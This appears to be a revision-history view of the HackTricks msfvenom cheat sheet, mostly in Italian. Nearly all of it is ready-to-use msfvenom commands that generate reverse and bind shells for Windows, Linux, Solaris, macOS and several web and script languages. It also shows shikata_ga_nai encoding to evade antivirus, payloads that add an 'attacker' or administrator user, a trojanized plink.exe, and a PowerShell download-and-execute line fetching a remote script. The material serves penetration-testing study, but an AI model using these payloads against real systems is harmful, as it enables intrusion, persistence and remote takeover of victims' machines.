hacktricks/generic-methodologies-and-resources/shells/msfvenom.md

265 lines
9.7 KiB
Markdown
Raw Normal View History

2023-03-05 19:54:13 +00:00
# MSFVenom - CheatSheet
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-30 20:49:23 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
2023-02-27 09:28:45 +00:00
2024-02-10 13:03:23 +00:00
**Insight sull'Hacking**\
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
2022-11-05 09:07:43 +00:00
2024-02-10 13:03:23 +00:00
**Notizie sull'Hacking in Tempo Reale**\
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
2023-07-14 14:20:34 +00:00
2024-02-10 13:03:23 +00:00
**Ultime Novità**\
Rimani informato sul lancio delle nuove bug bounty e sugli aggiornamenti cruciali delle piattaforme
2023-07-14 14:20:34 +00:00
2024-02-10 13:03:23 +00:00
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
2023-07-14 14:20:34 +00:00
***
2023-02-27 09:28:45 +00:00
## Basic msfvenom
2020-11-11 00:39:24 +00:00
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
2024-02-10 13:03:23 +00:00
È anche possibile utilizzare `-a` per specificare l'architettura o `--platform`
2024-02-10 13:03:23 +00:00
## Elenco
```bash
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
```
2024-02-10 13:03:23 +00:00
## Parametri comuni durante la creazione di uno shellcode
When creating a shellcode using `msfvenom`, there are several common parameters that can be used to customize the shellcode according to specific requirements. These parameters include:
- **`-p`**: Specifies the payload to be used in the shellcode. This can be a variety of payloads such as reverse shells, bind shells, or other types of exploits.
- **`LHOST`**: Specifies the IP address of the listener or the remote host to which the shellcode will connect.
- **`LPORT`**: Specifies the port number on which the listener is running or the remote port to which the shellcode will connect.
- **`-f`**: Specifies the output format of the shellcode. This can be different formats such as raw, exe, elf, or others.
- **`-e`**: Specifies the encoder to be used to obfuscate the shellcode. Encoders can help bypass certain security mechanisms such as antivirus software.
- **`-b`**: Specifies a list of characters to avoid when generating the shellcode. This can be useful to avoid bad characters that may cause issues when executing the shellcode.
- **`-i`**: Specifies the number of iterations for the encoder. Increasing the number of iterations can increase the complexity of the obfuscation.
2024-02-10 13:03:23 +00:00
- **`-a`**: Specifies the architecture for the shellcode. This can be x86, x64, or other architectures depending on the target system.
2024-02-10 13:03:23 +00:00
- **`-n`**: Specifies the number of nops (no-operation instructions) to be added before the shellcode. Nops can be used to provide padding and help with alignment.
These parameters can be combined and customized to create shellcode that suits the specific needs of a penetration test or exploit.
```bash
2024-02-10 13:03:23 +00:00
-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
```
2023-03-05 19:54:13 +00:00
## **Windows**
2024-02-10 13:03:23 +00:00
### **Shell Inversa**
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```
2024-02-10 13:03:23 +00:00
### Shell di Bind
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
2024-02-10 13:03:23 +00:00
{% code overflow="wrap" %}
2024-02-10 13:03:23 +00:00
### Creare un utente
2024-02-10 13:03:23 +00:00
{% code %}
```bash
2020-11-09 22:18:10 +00:00
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```
2024-02-10 13:03:23 +00:00
### Shell CMD
{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
2024-02-10 13:03:23 +00:00
{% code overflow="wrap" %}
2024-02-10 13:03:23 +00:00
### **Esegui Comando**
2024-02-10 13:03:23 +00:00
{% code %}
```bash
2020-12-15 09:10:57 +00:00
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
```
2024-02-10 13:03:23 +00:00
### Codificatore
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
2024-02-10 13:03:23 +00:00
### Incorporato all'interno di un eseguibile
{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
```
{% endcode %}
2024-02-10 13:03:23 +00:00
## Payload Linux
2024-02-10 13:03:23 +00:00
### Shell Inversa
{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
2024-02-10 13:03:23 +00:00
### Shell di Bind
{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```
{% endcode %}
2023-03-05 19:54:13 +00:00
### SunOS (Solaris)
{% code overflow="wrap" %}
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
{% endcode %}
2024-02-10 13:03:23 +00:00
## **Payload MAC**
2024-02-10 13:03:23 +00:00
### **Shell Inversa:**
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
2024-02-10 13:03:23 +00:00
### **Shell di Bind**
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
```
{% endcode %}
2024-02-10 13:03:23 +00:00
## **Payload basati su Web**
2023-03-05 19:54:13 +00:00
### **PHP**
2023-03-05 19:54:13 +00:00
#### Reverse shel**l**
{% code overflow="wrap" %}
```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
2020-11-09 22:18:10 +00:00
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```
{% endcode %}
2023-03-05 19:54:13 +00:00
### ASP/x
2024-02-10 13:03:23 +00:00
#### Shell inversa
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
```
{% endcode %}
2023-03-05 19:54:13 +00:00
### JSP
2024-02-10 13:03:23 +00:00
#### Shell inversa
{% code overflow="wrap" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
```
{% endcode %}
2023-03-05 19:54:13 +00:00
### WAR
2024-02-10 13:03:23 +00:00
#### Shell Inversa
{% code overflow="wrap" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
```
2024-02-10 13:03:23 +00:00
{% code %}
2023-03-05 19:54:13 +00:00
### NodeJS
```bash
2022-05-27 15:32:15 +00:00
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```
2024-02-10 13:03:23 +00:00
## **Payload di linguaggio di script**
2023-03-05 19:54:13 +00:00
### **Perl**
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
```
2023-03-05 19:54:13 +00:00
### **Python**
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
2023-03-05 19:54:13 +00:00
### **Bash**
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 14:20:34 +00:00
2024-02-10 13:03:23 +00:00
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug!
2023-03-05 19:54:13 +00:00
2024-02-10 13:03:23 +00:00
**Approfondimenti sull'hacking**\
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
2023-02-27 09:28:45 +00:00
2024-02-10 13:03:23 +00:00
**Notizie sull'hacking in tempo reale**\
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
2023-02-27 09:28:45 +00:00
2024-02-10 13:03:23 +00:00
**Ultime notizie**\
Rimani informato sul lancio dei bug bounty più recenti e sugli aggiornamenti cruciali della piattaforma
2022-11-05 09:07:43 +00:00
2024-02-10 13:03:23 +00:00
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-30 20:49:23 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>